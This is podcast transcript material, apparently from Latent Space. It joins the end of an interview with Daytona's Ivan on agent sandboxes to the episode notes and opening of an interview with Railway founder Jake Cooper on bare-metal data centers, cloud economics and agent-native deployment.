have that, later on. And from, if anyone at Apple is listening, I very much feel that they are shooting themselves in the foot of the scale of the revenue of compute or licensing they could get if they would just enable a concurrency model similar to what you can get on a Windows and a, and Linux.Swyx [00:41:17]: Yeah. Yeah. And I'm sure they've heard this before. They just don't care. Yeah, it's And maybe they will change their mind with the new CEO.Ivan [00:41:24]: Yeah. We'll see.Swyx [00:41:25]: We'll see.Ivan [00:41:25]: High hopes.Swyx [00:41:26]: High hopes.Ivan [00:41:26]: High hopes.Swyx [00:41:27]: Okay. But I, it's very clear the market opportunity is huge in Windows, and you can go for a long time on just Windows, but your customers are gonna want both. and I think, it is interesting to me that, this is the sort of God application of agents, right? Like, I don't It was - How big was OpenClaw for you guys? Like, was it, was there, a significant bump.OpenClaw, Agent Labs, and the B2B2C Sandbox MarketIvan [00:41:54]: Not for us because we.Swyx [00:41:54]: Because you already.Ivan [00:41:55]: We're kind of positioned differently. Whereas although it's completely PLG and we have individual developers that use it, most of the users that use Daytona are sort of a B2B2C. Sort of it's either B2B or B2B2C. So, in the researcher world, it's B2B, so you're selling to, labs and neo labs and things like that. But on the long-running agents, it's mostly, from a scale revenue perspective, it's mostly B2B2C, where you have a app layer agent that uses you at a big scale.Swyx [00:42:26]: Like a Manus. Yeah.Ivan [00:42:28]: Like a Manus Lovable type of thing.Swyx [00:42:31]: Yeah. I think that's the question of, well how, um-Uh, yeah, B2B to C is basically to me what I've been calling an agent lab, which is kind of like you're not in a model lab, but you're making a very good wrapper that is a platform that other people can sign up so they don't have to code those things. Yeah, it sound, it sounds like a much better market than the direct OpenClaw market.Ivan [00:42:56]: I've like - We I've done multiple things. So the CodeAnywhere's part of our career path R in the calendar, was very much an end user developer product. And so that is great. It You can get a lot of developer love, and I feel that we do as a company have a bunch of developer love. But it's a different type, where it's people building these things. Again, it's more akin to a Twilio because you don't really run - As a person, you wouldn't run Twilio. I don't know how many people remember. It was like ask your developer billboard and whatnot. And people really love Twilio, but they only used it inside of like, “Oh, I'm building this app or service for thing.” And so we're very much directly to that. And you also know that I used to work for a competitor for Twilio, so it's kind of ingrained, in my DNA.Swyx [00:43:35]: People don't know InfoBip is that big.Ivan [00:43:38]: Yeah, it's.Swyx [00:43:39]: Because.Ivan [00:43:40]: It's a billion euro.Swyx [00:43:40]: They're all American. They're like, “Whatever's in Europe doesn't matter to me.” But like it's the, it's the same size or bigger? Same size?Ivan [00:43:46]: It's about half the size.Swyx [00:43:47]: Half the size?Ivan [00:43:48]: Yeah, about half the size.Swyx [00:43:48]: It's like, yeah.Ivan [00:43:48]: Still huge. Multiple billions a year. Yes.Swyx [00:43:51]: That's crazy.Ivan [00:43:51]: Exactly, and so that - These are like really interesting and large revenue-generating, very sticky businesses. Whereas when you're selling to the - When your focus is the end developer, it is a very hard sell because they're very price sensitive, very price conscious, very around that. And there's very It's very hard to scale. Your cap is the number of people that are willing to spin up - First of all, wanna spin that up, and then spin up multiple of these. Whereas if you're in the enterprise one, like we know everyone's talking about like how many tokens they're spending, I'm spending. Like a lot of companies today are like, “If this is our company, spend as much as you can.” Like basically that is where we're going. And so if you think about that paradigm, where you're selling to companies that say, “Spend as much as you can to generate, productivity,” versus, “Oh, I'm a single person. I have this much budget, and I'm doing this thing because it's fun or it's helping me out or whatever.” Like it is a different, it's a different go-to-market, I think, strategy.MCP, CLIs, and Sandboxes as the Agent RuntimeSwyx [00:44:50]: Yeah, there's a lot of discussion. I'm just kind of going through like the mental list of things that are in your favor, which is, for example, MCP versus CLI. Like obviously you want CLI. It's been very good for you. I feel like it's maybe a drop in the bucket or maybe it's huge. I'm just checking whether it's like these are big trends.Ivan [00:45:10]: Those things you - work well in our favor, to your point just because every.Swyx [00:45:13]: They're kind of drop in the bucket, right?Ivan [00:45:15]: I think it's like sort of all the things come together. And so there's so many things that impact that. To your point, like OpenClaw wasn't huge for us, but like having the agent SDK, from Anthropic, so or Cloud Claude Code was very interesting. The reason why it was interesting is that a lot of, let's call them app I don't know what to call them, app layer agent companies, essentially they are like, “Oh, I can create this new app, this new agent. All I need, I just use Claude Code, and I throw it into a sandbox, and then I have my interface to the human to that.” And so that enabled so many more companies to actually offer this, and then they would pull on sandbox. So that was, that was interesting. And to your point, like MCP, versus the CLI, the MCP is an interface against an API, whereas the CLI is like you can actually go do things. Like this is it. The difference between integrations and actually running scripts or data or analysis against a thing. So being able to use a CLI very well enables the agent to do more things, and it's because that people will invoke a sandbox, they'll run it in the CLI, and but it'll do anal-analysis on that data and then give you an actual result versus just, pulling data from an API source.Swyx [00:46:29]: Yeah, it's a layer of indirection basically, it's the same thing as agentic search versus RAG, which where you're.Ivan [00:46:34]: Exactly, yeah.Swyx [00:46:34]: Just like you just win whenever people put more agents into their workflow. And so like it doesn't really matter, but I'm just kinda teasing out like what else have people heard about that like it's sort of, “Oh yeah, this is another sandbox use case. Oh yeah, that's another one.” Am I, am I missing any big ones?Ivan [00:46:51]: The thing, the thing that people, which is the computer use stuff, which I think is probably the most interesting one, is, and to your point, we've talked to so many people over the last year. It's like, “Oh, like why do you need a sandbox? Why do you need this? Why this?” And to your point, it's like, “Oh, I need sandbox for this. I need sandbox for that. I need sandbox-” It's like, “Oh, I need it for every single thing.” And so basically what I, what I - and it sounds like a broken record, it's like you use a laptop every single day, right? And you are n of one. It's just you. But now imagine how And by the way, the laptop, the computer PC market, the PC market is about equal to the cloud market in total. So it's about 150, 180 billion a year. Something like that. It's about roughly the three cloud hyperscalers is about equal to like Apple, HP, Lenovo, whatever, It's a little bit less, but it's sort of like that. And now imagine And that's just like, so how big is the addressable market? What, how many people are there in the world now? What's the last data?Swyx [00:47:45]: Let's call it eight billion.Ivan [00:47:46]: Eight billion. And so let's say you can have two computer, like you have one personal and one business, whatever. Like so it's double that, right? and so that's 16 billion, right? How many agents are gonna be running in two years, in 10 years, in 100 years? Like And for every single task, they will need one of these. And so how big is that? That market is essentially quote unquote “infinite”. You will get to the point, and Dylan Patel was at the conference talking about, from SemiAnalysis, that talks usually about GPUs, was also talking about how CPUs will now be a bottleneck because it will be the constraint. You won't be able to grow, or we won't be able to have enough of these because there won't be enough CPUs to basically do.Swyx [00:48:23]: Yeah. Well, I actually had a really good podcast with Doug Oliphant, who, which was his president at SemiAnalysis, where they've basically been like, yeah, it's been a GPU shortage first, but then it's cascaded down to memory and now to CPUs.Ivan [00:48:35]: CPU, yeah.Swyx [00:48:35]: It-What's next? So networking. So, networking actually has been in shortage for a while if you're looking at, just GPU networking. But, yeah, it's really crazy the amount of computer use that's going on, yeah, cool. I, other questions are, just the one very big part is the open sourceness which you didn't have to do, your competitors don't do, like it's not, a lot of people are worried about keeping their projects open source because some competitor can just slot fork it. I don't know if there's any reflections on just being an open source company.Open Source, Trust, and Enterprise ProcurementIvan [00:49:15]: Yeah. There's a bunch. So we the original product that we did was open source.Swyx [00:49:19]: Yeah. CodeAnywhere.Ivan [00:49:20]: So doing that was actually very good for us. There's basically a saying of, What's the saying? Like, companies that are, that are doing really well, measure themselves against, free cashflow, that are kinda okay, it's EBITDA, then, it's, it goes all the way down.Swyx [00:49:36]: The worst is like GitHub stars.Ivan [00:49:37]: GitHub stars. GitHub stars are the worst, yeah. So you go all the way down to GitHub stars. And so our original one was GitHub stars. That's what we talked about, we're at the point we're talking about revenue, so we're we've gone up the stack on that. And so we started.Swyx [00:49:47]: No, profit.Ivan [00:49:48]: Yeah. We haven't, we're, we'll get there. We'll get there. But basically at that point we did stars and GitHub and it was useful, and the original variation that we did, it we split the core into its own repo and it was Apache 2.0, so very, permissive. And then we basically would bundl
Take the 2026 AI Engineering Survey and get >$2k in credits and AIE WF tickets!This was recorded before Railway suffered a major GCP outage on May 19, despite being a multi-AZ, multi-zone mesh ring, with HA fiber interconnects between their Metal GCP AWS, because workload discoverability was unintentionally still tied to GCP. All has been resolved with a post-mortem.Railway did not start as an AI infrastructure company.It was founded in 2020 years before agents became the default way people thought about deploying software. Jake Cooper, formerly at Bloomberg and Uber, started Railway with a simple obsession: the activation energy to ship something to production should be near zero. Push code, get a URL, iterate. No Docker files, no Kubernetes manifests, no Ansible scripts stacked on Ansible scripts.For years, this was a slow grind. Railway spent its first 18 months hand-acquiring its first 100 users with Jake personally greeting every Discord signup on a second monitor.Today, Railway has raised $124m and is growing very fast. A 35-person team supports 3 million users, adding roughly 100,000 signups a week. Their bare metal data centers have a 3-month payback period vs. renting in the cloud, with 70% margins funding aggressive cloud bursting when needed. The servers they own have actually appreciated in value as RAM prices have climbed basically meaning the value of their hardware now exceeds the capital they've raised.From rebuilding Railway's network overlay over a weekend to moving the vast majority of workloads onto its own bare metal data centers, Jake Cooper is trying to build a new cloud for an agent-native world. In this episode, Railway's founder and “conductor” joins swyx and Alessio to unpack why the next era of software infrastructure is not just “Heroku but newer,” what agents need that humans did not, and why the old deployment loop of Git, PRs, CI/CD, and static cloud resources may be heading for a rewrite.We go deep on Railway's infrastructure stack: own-metal data centers, three-month cloud payback periods, cloud bursting, data center debt, Railpack, Nixpacks, Temporal, feature flags, Central Station, content-addressable filesystems, agent-safe production forks, and why the CLI may become more important than the canvas in an agent world. Jake also shares the founder journey behind Railway, how the company survived losing $500K/month, why it now serves millions of users with only 35 people, and why he believes the pull request is dying.We discuss:* How Railway went from a slow six-year grind to adding 100,000 users a week* How Railway thinks about agents as the next dominant software species* Why agents need version control, observability, compute, storage, and orchestration at 1000x scale* The economics of Railway's own-metal data centers and three-month payback* How Railway uses cloud bursting while scaling its own infrastructure* Why data center debt can be a better tool than venture debt for infra startups* Central Station, Railway's internal system for clustering customer feedback and incidents* Why responsible disclosure and over-communication matter for platforms* Why feature flags, progressive rollouts, and shadow traffic are essential for agents* Temporal's strengths, pain points, and why workflows matter for agents* Railpack, Nixpacks, Nix, and lazy-loaded content-addressable filesystems* Why “cattle, not pets” may change if you can clone the pets* Why Railway is building a new cloud from scratch instead of copying hyperscalers* The solo founder path, focus, writing, and how Jake thinks about company buildingRailway:* Website: https://railway.com/* X: https://x.com/RailwayJake Cooper:* LinkedIn: https://www.linkedin.com/in/thejakecooper/* X: https://x.com/JustJakeTimestamps00:00:00 Introduction: What Is Railway?00:02:07 Jake's Path to Railway00:06:13 Railway's Six-Year Growth Story00:08:52 Rebuilding the Business After the Free Tier00:11:17 Agents as the Next Software Platform00:13:29 Railway's Infrastructure Philosophy00:15:42 Bare Metal, Cloud Economics, and the Compute Crunch00:17:22 Cloud Bursting and Five-Cloud Networking00:20:20 Data Center Debt and Infra Financing00:23:31 Data Centers in Space00:25:24 What Agents Need From Infrastructure00:28:24 CLIs, Canvas, and Agent-Native UX00:35:15 Central Station, Incidents, and Responsible Disclosure00:40:30 Safe Rollouts, SRE Agents, and Production Forks00:45:00 AI SRE, Specs, Code, and Tests00:48:24 Self-Replicating Infrastructure and the New Serverless00:53:18 Heroku, Temporal, and Workflow Engines01:04:07 Railpack, Nixpacks, and Lazy-Loaded Filesystems01:06:01 Coding Agents, Token Spend, and Roadmap Acceleration01:10:56 The Pull Request Is Dying01:12:28 Feature Flags and the Agent-Era SDLC01:16:15 Cattle, Pets, and Cloning Machines01:19:29 Solo Founder Lessons01:24:12 Focus, GPUs, and Building a New Cloud01:28:20 Closing ThoughtsTranscriptAlessio [00:00:00]: Hey, everyone. Welcome to the Latent Space Podcast. This is Alessio, founder of Kernel Labs, and I'm joined by Swyx, editor of Latent Space.Swyx [00:00:10]: Hey, hey, hey. Today we're in the studio with Jake Cooper of Railway.Alessio [00:00:14]: Conductor of Railway.Swyx [00:00:15]: Conductor at Railway. Yeah.Alessio [00:00:16]: Choo-choo.Swyx [00:00:17]: Do you actually have that anywhere, like on your business card?Jake [00:00:20]: We call some of our volunteer moderators conductors. I don't have a business card. We're not that big yet. At some point I will. I got handed a nice business card from the Supermicro folks, and I was like, “Damn, this is pretty official.”Swyx [00:00:30]: Business cards are coming back.Jake [00:00:32]: They're cool. They're hip. The conductor thing is good. We're trying to figure out what we want to call each other internally. Some people think it's super cringe and say, “You don't need a name for people internally.” Some people want to call each other something. We still don't have a really good one.Jake [00:00:55]: We've got New Railcrews, Trainiacs. Nothing has stuck yet.Swyx [00:01:00]: I like Trainiac. Trainiac sounds good. Railwayians. For those who don't know, what is Railway? Let's give people a crisp definition up front.Jake [00:01:09]: Railway is the easiest way to ship anything. You go to the canvas, or you talk with Claude, and you say, “Deploy a Postgres instance, deploy my GitHub repository, run this code,” and you're off to the races.Swyx [00:01:22]: You've got a nice animation on the landing page.Jake [00:01:24]: Thank you. None of my work, by the way. They don't let me touch the design stuff anymore.Jake [00:01:25]: We want to make it trivially easy not just to deploy things, but to evolve applications over time. Most tooling right now stacks entropy on top of entropy: Docker, Kubernetes, Ansible scripts, and all these other things. If we can version all of your software and keep track of all the changes, then we can make it trivial to clone environments, fork into a parallel universe, get copies of production data, get copies of any services, make changes, validate them, and collapse them back in without reproducing everything across a staging environment.The Railway Origin Story: From Uber Systems to a New CloudSwyx [00:02:07]: I was looking at your background: Bloomberg, Uber. Nothing immediately stands out as, “This guy is going to found the next great platform as a service.” What prepared you for Railway?Jake [00:02:21]: It was curiosity to keep going deeper. I started out on front-end stuff, working on Wolfram Mathematica and porting it over. Then I briefly moved to Bloomberg, then toward Uber and distributed systems, taking the Jump Bikes systems and moving them to a distributed system built on top of Cadence, the pre-Temporal Temporal.Swyx [00:02:44]: Which, by the way, I'm happy to talk about, pros and cons.Jake [00:02:48]: Totally.Swyx [00:02:51]: But let's do the Railway story.Jake [00:02:52]: It has been a continual step of wanting an experience. Whether it's walking up to a bike, unlocking it, and having it work frictionlessly, or something else, the depth required to make that happen follows from the experience. A lot of the work I do, and a lot of the team does, is in service of that experience. We fundamentally don't care how deep we have to go. We will swim to the bottom of the swimming pool to get the experience.Jake [00:03:17]: I don't have a physics PhD. I did an EECS degree. It has always been about figuring out the next step: how do we get there? That's what led to starting Railway for that experience and then moving all the way to bare metal data centers. I was adding patches to the kernel this week to get the experience there because I can see how much better it can be.Swyx [00:03:49]: Other patches to the Linux kernel this week?Jake [00:03:51]: Yeah. Not upstream. Our fork.Swyx [00:03:52]: That's a flex. Railpack? No, this is different. This is the OS on top of Railpack?Jake [00:03:57]: No, this is an actual kernel patch. It's always literally: what do we have to do to get that experience? Then figure it out. Anything is figureoutable.Swyx [00:04:10]: Would you send the patch upstream, or does it not fit other use cases?Jake [00:04:13]: Maybe. We have to work out the experience internally. It has to do with the storage layer we're building for some of the agentic stuff. Maybe it'll be useful upstream, but it's deeply useful for us internally.Open Source, Forks, and Non-Deterministic VersioningSwyx [00:04:29]: You mentioned open source before. How do you think about starting from open source, and then coding agents letting you do a lot more from forks of it?Jake [00:04:38]: GitHub's original sin is that it's almost a series of broken pointers. You have this thing, then you clone it, and now you've lost the whole upstream. How do we make it trivial for people to modify really small pieces of it?Jake [00:04:51]: We think of Git in a discrete sense: I've either made a change and merged upstream, or I haven't. What would it look like if it were percentage-based, a little more non-deterministic, or a stream of changes that users traverse as a percentage rolled out in general and then rolled all the way up?Jake [00:05:13]: We have the open-source kickback program and let you deploy templates because we want to make it trivial for people to version these shards over time. It solves a large problem around authentication, authorization, and security. NPM has a way to define, “Don't take any new packages.” The ideal end state is that you roll out progressively to users with the minimum impact zone and continue rolling up. JPMorgan should probably be the last one on the patch line, for all our sakes, because our money and livelihoods are there.Jake [00:05:53]: It's okay if Johnny Vibe Coder gets a broken patch because there's so much entropy in the system that the rubber has to meet the road at some point. You have to test at varying levels.The Long Grind: First Users, Free Tier, and Making the Business WorkSwyx [00:06:13]: I wanted to pull up this glorious chart, which is your usage or number of daily signups?Jake [00:06:22]: Daily signups, I think.Swyx [00:06:24]: You started six years ago. It was a slow grind, and now you're on a rocket ship. You say, “Don't doubt your fight and don't quit.” Maybe pick out certain points that were key inflections for the company.Jake [00:06:40]: At the start, it's about getting your first 100 users, hell or high water. We had a website and a support link. The support link was the Discord channel. I had notifications on with two monitors: the monitor I was working on and the other monitor with Discord. If anybody came in, I was immediately like, “Hey, how's it going?” It was rare, so getting those first 100 users to come back was the start.Jake [00:07:14]: Then you build a consultancy factory because users want all these things. You have to go back to the board and ask, “What is the actual product offering I want to build on top of this?”Jake [00:07:28]: VCs want charts that always go up and to the right, but in reality you don't necessarily want charts that look like that. For us, there have been periods of expansion where we add features to test use cases, and periods of compaction where we ask, “If the experience we have is good, how do we make it significantly better?” Maybe we strip out features that don't fit our ICP anymore.Jake [00:07:57]: The boom from 2022 to 2023 came from the free tier. Everybody under the sun was using it.Swyx [00:08:09]: A lot of Reddit bots and Discord bots.Jake [00:08:12]: And crypto miners. When you build an open product on the internet where anybody can sign up, the internet is a horrible place with so many things. You go through periods of asking, “How do I reach as many people as possible?” Then, “How do I fit the exact use case for the people who really matter and are really excited about this specific thing?”Jake [00:08:39]: Then there was a two-year period of making the actual business work. During the free-tier era, we were losing about half a million dollars a month.Swyx [00:08:59]: On a $20 million bank account.Jake [00:09:02]: On a $20 million bank account with maybe $50,000 a month in revenue. That's a horrible business. I don't know how anybody invested. But you have to go through it and say, “We have an experience people love, but the business has to work.”Jake [00:09:17]: There are two schools of thought. You can run the horrible business all the way up with bad margins, or you can go back and make it work. We've always wanted a super lean team. We're 35 people right now. It's very small.Swyx [00:09:36]: Supporting three million already?Jake [00:09:38]: Yeah. We're adding 100,000 users a week right now, so it's growing fast. We don't want to add headcount for the sake of headcount or throw bodies at problems. We want to build systems. It's hard to build systems during expansion because you're adding things to the system because people are asking for them or things are breaking.Jake [00:10:00]: We had to cut off the free users for a little while, rebuild the business, and make sure it worked. We want to reach as many people as possible because software is important. It's become difficult to create things in the physical world, so it's important to make it easy for people to build in the virtual world and have access to creation. But there are legs to that journey.Jake [00:10:30]: You can see divots in the charts. If you follow between 2025 and 2026, it's either summer or winter. People go on holiday with family.Swyx [00:10:50]: It affects that much?Jake [00:10:51]: Yeah. It's kind of B2C and kind of B2B. People are shipping constantly, then they stop. Our activation curve now shows more people activating on weekdays because we have more business users, so it smooths out over time.Agents as the New Interface to DeploymentSwyx [00:11:17]: Was there a point where you started prioritizing AI development or agent development?Jake [00:11:24]: We've prioritized agentic as a top-of-funnel thing. Over the last six months, we've deeply prioritized agentic as a mechanism to build and deploy things because we believe the curve is so steep and that is how people will build and deploy software.Jake [00:11:42]: It almost fundamentally doesn't matter whether this is dot-com or not because we're all on the internet anyway. If agents are going to deploy a bunch of things and we hit an inference wall at some point, we'll fix those problems. The dominant species over the next 10 years is that we've moved from assembly to C to C++ to JavaScript to words. You're going to need to close that loop.Swyx [00:12:13]: When you say this is dot-com, did you mean buying the domain, or the general case?Jake [00:12:17]: I mean the dot-com era, when companies had a huge run-up because people understood the internet was important. Then they hit bottlenecks, fundamental laws of physics, math didn't work, and everybody came back down to earth. But it didn't matter because the internet became so impactful. If you operate on a long enough time horizon, you should build these things anyway because you can see where it's going.Jake [00:12:45]: That's where I think a lot of agent stuff is. You get to a point where you're running thousands of agents in parallel. What is the inference cost? What is the compute cost? How do you make that efficient? How do you coordinate all this? We have issues coordinating humans; we don't even have good tooling for that. Now we have to figure out how to get agents to coordinate, safely version changes, and know when to raise their hand for someone to intervene. Otherwise it becomes an interrupt factory.Railway's Infrastructure Thesis: Network, Compute, Storage, and MetalSwyx [00:13:19]: Let's go right into the technical side. What are the core infrastructure or architectural beliefs of Railway that allow you to do what you do?Jake [00:13:29]: The primitives matter a lot for us. We need network, compute, storage, and orchestration around it. You need control over a lot of those things. We've talked a lot about how we don't really use Kubernetes because we want higher-order control to place workloads in very specific places.Jake [00:13:48]: The reason is that you have to be very efficient with agents: memory reuse and all these other things, or you're going to massively blow up your cost structure. Being able to rack and stack your own servers and build your own metal unlocks performance and cost. Experiences where you're running 1,000 agents in parallel are not massively cost prohibitive.Jake [00:14:13]: Token use and compute use are blowing up. Over time, those things have to get a lot more efficient. You can get a lot of margin to make those experiences solid by building your own metal. That's all in service of offering a differentiated experience to as many people as humanly possible.Swyx [00:14:51]: You have a data center in Singapore.Jake [00:14:53]: Yeah. We have two in every other region now. In Singapore, we're adding a second one in Q3.Swyx [00:14:58]: What's it like? I've never built a data center. Do you go to Equinix and say, “I want some slots?”Jake [00:15:05]: Yeah. Equinix. You basically go and say, “I want power and I want a cage.” They say, “Great, here's what it's going to be.” You rent the cage for a period of time, fill it with racks and servers, and hook up internet to it. That's all the pieces.Swyx [00:15:36]: Then you handle everything else.Jake [00:15:37]: You handle everything else.Swyx [00:15:39]: What's the math versus clouds doing it for you?Jake [00:15:43]: If we rented in the cloud, our payback period when we go to metal is about three months.Swyx [00:15:50]: Which is crazy.Jake [00:15:51]: It's nuts. That's four years of depreciated hardware. You're going to see a lot of this compute crunch because hyperscalers are buying up a lot of stuff. We're working directly with OEMs, resellers, and people building these machines: Supermicro, Dell, and others.Jake [00:16:11]: Upstream, there's a bunch of supply pressure. When we raised our last round, between deploying capital for servers and now, the amount of money we've raised is less than the amount of money we have in the bank plus the value of the servers because the servers have appreciated as RAM has gone up. It's nuts how valuable hardware has become.Jake [00:16:50]: If you look at hyperscalers, they deployed around $80 billion of capital expenditures this year, and next year will be more. That's a massive infrastructure build-out. You look at that and think it's crazy that they're spending way more than the Manhattan Project. But if every person is going to run dozens or hundreds of agents in parallel, you have no conceptual idea how much compute is required to make that experience happen, even if you're deeply efficient and sharing resources. And that doesn't even count inference.Swyx [00:17:22]: How do you plan the build-out? The growth chart is so vertical. Are you usually at 100% utilization as soon as racks are live? How far ahead are you planning?Jake [00:17:33]: We still maintain cloud presence for bursting. We work with AWS, GCP, and a few other clouds. We can rent, and then the moment we get space or power, we compact those workloads off the cloud. We started on the clouds, then built a system to migrate to our own metal. There's nothing that says you can't continually do that again, and that's exactly what we do. We never want to be compute constrained.Jake [00:18:09]: At the start of the year, we actually became compute constrained because one upstream provider wasn't able to give us quota at the rate we needed, and the hardware was slower. I spent a weekend rebuilding our entire network overlay so we could straddle five clouds: Oracle, AWS, ourselves, GCP, and one other one. We can do more than that now.Jake [00:18:38]: We got into a spot where we were trying to pack instances tight because we couldn't get enough compute. That led to a few reliability issues, which are now past us. I made a tweet pointing out that it's becoming harder and harder to acquire compute at the rate these models need to acquire compute. We got bit by it.Swyx [00:19:15]: How do you think about pricing knowing you might not have your own metal available at all times? Are you pricing assuming you need extra margin if you end up going into the cloud?Jake [00:19:26]: Because we've built out our metal data centers, our margins on metal are around 70%. We can deeply subsidize the cloud business if we want to scale at a reasonable rate. We have a few levers: metal, which makes the margins; cloud burst; debt to buy servers; and venture capital. It's an interesting operational problem: how much cash do we have, how much should we raise, how quickly can we deploy it, and can we scale revenue as quickly as we scale compute?Jake [00:20:05]: If we continue making it trivially easy for people to build and deploy, then the faster we close that loop and the more operationally excellent we are with capital, the faster the business can scale. It's almost a straight linear deployment rate.Financing Infrastructure: Hardware Debt, VC, and Operational LeverageSwyx [00:20:20]: I think infra startups raising debt is a tool people don't utilize enough or know enough about. What can you tell us about that? Is it secured against your CPUs?Jake [00:20:32]: It's secured against our hardware.Swyx [00:20:37]: What rates do you get? Who are the lenders?Jake [00:20:39]: We pay prime plus a spread, and we can refinance any of the debt as rates go down. The terms are pretty good. The unfortunate thing is that Twitter has no nuance, so people say, “Venture debt bad.” But as with all things, there are specific tools and areas where you can be deliberate instead of using one tool as a hammer. Venture capital is not the hammer for everything. You have to explore and figure out what works.Swyx [00:21:12]: VC is usually the most expensive financing you can get.Jake [00:21:15]: Yeah. I also think people think about VC incorrectly from a capital-raising perspective. Most people think, “How do I raise as much money as possible from whoever is probably the best I can get at that time?” That's close to right, but what we've tried to do is figure out what unfair advantage we can buy with that equity.Jake [00:21:34]: It's the most expensive equity you're going to give away at that point in time, assuming the company keeps getting better. How do you use it to work with someone stellar who complements you? In the seed stage, I had never started a company. Ray Tonsing had good advice, and I could text him all the time. He was really fast. Awesome.Jake [00:22:01]: Then with John and Erica at Unusual, they said, “You roughly know what you're doing building a product. We'll mostly leave you alone and be available for advice.” Amazing. Then we got to Series A and the business was an operational tire fire because we didn't know how to scale a business. Work with Erica, and Jordan is over at Redpoint, so bonus.Jake [00:22:28]: Now we've raised from TQ and FPV as we're moving into enterprises. Every step of the way, we've asked: who can we partner with at this specific time to unlock the next section of the journey? I don't know enterprise sales. As an engineer, I can eyeball what features we might need, and we have wonderful people internally who can help. But you want boardroom dynamics where everyone is aligned and asking, “How do we win this?” instead of bickering about strategy.Data Centers in Space and the Physics of ComputeSwyx [00:23:31]: You had a tweet about data centers in space. Why no data centers in space?Jake [00:23:37]: It's not “no data centers in space.” My hot take is that I think it is solvable. I've just never seen anybody solve it.Swyx [00:23:49]: You said, “How are you going to dissipate that much heat in a vacuum?” You're making a physics claim.Jake [00:23:55]: I haven't seen anybody prove how you're going to dissipate that much heat in a vacuum. It doesn't mean it's not possible. It just means nobody has brought it up yet.Swyx [00:24:05]: Astrophage.Jake [00:24:06]: I don't know what that is.Swyx [00:24:07]: The Martian thing. Okay, you're very logical.Jake [00:24:09]: It could work. A lot of people are putting the cart before the horse. They say, “We're going to put data centers in space.” Okay, but how? “We have time to figure it out.” It's like in The Martian where they ask how they're going to intercept something and say, “We'll figure it out.”Swyx [00:24:36]: Making a bet on human invention is weird because you blind trust that it can be solved. But with physics, there are first-principles bounds you can put on it. Maybe not. Maybe you're asking to travel time or break a fundamental thermodynamic law.Jake [00:24:57]: I don't know how VCs do this either. How do you know what's not possible and a grift versus what's possible but sounds completely insane? “We're going to put data centers in space.” Coin flip as to which it is, and I guess you'll know in 10 years. That's one cycle.What Agents Need: Versioning, Observability, and 1,000x ScaleSwyx [00:25:23]: Moving back to agents. The branching, fast spin-up, and orchestration you do feels like pre-work that happened to be exactly what agents want. What do agents want differently than humans?Jake [00:25:37]: They want the ability to version things. It's not that different; it materializes slightly differently. Agents want a way to test changes incrementally. Engineers have feature flags. Is there a reason agents can't use feature flags? I don't think so.Jake [00:25:54]: They want version control. Can we use Git or not Git? That one is up in the air. I think something outside Git will emerge for how we version these things over time. They need observability. You need to query what happened, when it happened, which steps failed, traces, logs, metrics, and all the rest. They need network, compute, and storage. They need to write files, save files, iterate on files, and snapshot file systems.Jake [00:26:25]: A lot of what humans needed is in line with what agents need. Branching and forking are not different; we're just moving 1,000 times quicker. It can look like you need something massively different, but what you need is something massively better than what existed. You need orchestration massively better than Kubernetes. You need networking probably better than Envoy. It goes all the way down the stack.Jake [00:26:55]: If the workload profile doesn't change so much as it gets massively compressed because you need thousands of these things, what assumptions change? etcd is going to melt. You need to replace it with something. You can go all the way down the stack and say, “That part has to change, that part has to change, and that part has to change.”Jake [00:27:19]: The interesting thing about the super-exponential curve is that you have to build systems where you can rip out those parts at any time because a new bottleneck might emerge. You get good at parallel agents, and a different part of the system breaks. So it's similar to what humans needed, but at 1,000x scale.Jake [00:27:55]: How do you do code review in the age of agents?Swyx [00:28:00]: You throw more agents at it.Jake [00:28:01]: You don't. But then who reviews for CVEs and all these other things?Swyx [00:28:07]: More agents.Jake [00:28:08]: And that's how we hit the inference wall. You can continually throw agents at the problem, but I think there's a limit to the number of agents you can throw at a problem.CLI, Agent Handles, and Closing the LoopSwyx [00:28:24]: You already had a CLI before it was cool. How is the shape of what you're exposing changing, if at all?Jake [00:28:28]: CLIs have always been cool. The CLI changes because we think about how to give Claude, Codex, ChatGPT, or any model a handhold.Jake [00:28:50]: A CLI is a single command: deploy, get logs, and so on. Things that were prohibitively annoying to humans are not annoying to agents. They're nice. If I handed you a CLI with 40 arguments and 600 flags, you'd think, “I'm never going to use all of this.” But if you hand it to an agent, it says, “This is excellent. I have so many handles to work with.”Jake [00:29:24]: If you're going to expose things to agents that way, you want as many handles as possible where they can get information, query dynamic information, and close the loop quickly. Most problems right now are about how to close the loop as quickly as possible. Where does the agent get stuck, and how can you remove that?Jake [00:29:49]: Telemetry is important. If you can tell where the agent gets stuck from the CLI and say, “12% of people deviate from the happy path because of this, and now I add this argument and drive it down to 2%,” you massively increase the rate of loop closure.Jake [00:30:03]: That's how we think about not just the CLI, but every point in the dashboard. It's a user journey: I hear about Railway. I get something deployed. I get my first green build or aha moment. I see an endpoint, logs, whatever. Then I iterate. The iteration loop is indefinite. The user wants to deploy a new thing, a Postgres instance, change code, and keep iterating.Jake [00:30:36]: If you focus on the iteration loops and what's blocking them from closing quickly, one thing we say internally is: you never want to be waiting on compute anymore. You always want to be waiting on intelligence. If you're waiting on compute, there's a bottleneck that needs to be destroyed because eventually that bottleneck becomes so large that another workflow emerges to change it.Jake [00:31:04]: We've built a product where you push code, build it, and so on. But I fundamentally believe the push-pull loop is going away. We'll get to a point where you make a small change in production, that change is versioned across your infrastructure, you're working alongside copy-on-write versions of your database and infrastructure, and then you merge it in and it's instantaneously live. That's the holy grail of loops. The push-pull-rebuild thing is a point of friction that we're removing entirely.Canvas as Output: Dashboards, Context Anchors, and HyperstructuresSwyx [00:31:43]: It's incredibly fast. If anyone hasn't tried it, that fast feedback is great. My hot take is that Railway was famous for its canvas, which visualizes your infrastructure and lets you manipulate it visually. But that was for humans. For the next phase of growth, Railway CLI is more important than canvas.Jake [00:32:05]: The canvas is funny because it's a mechanism to show changes over time. You're right that previously we used it a lot as an input. Moving forward, its goal is more like an output. You would go to the canvas, make changes, see them, and watch your infrastructure evolve. Now agents have access to the CLI and can make those changes. So the canvas becomes an output: what information does the human need at this moment to make suitable decisions about control requests? Do I approve this or not?Jake [00:32:57]: It also has to be an anchor for your context, a port in the storm. Think of it like layers in a file system. You start with a project, then drill down into services, then into a function or code, because you want to represent the entire thing not just in your head, but in the canvas. Other people can share that representation, think on the same wavelength, and move quickly.Jake [00:33:33]: A lot of organizations get in trouble as they scale because all the context lives in someone's head. “How does this microservice work?” “I have no idea; go ask this person.” Then you have whole categories of products built around context discovery. A lot of that melts away if you have a solid hierarchy and can infinitely nest services, code, context, and 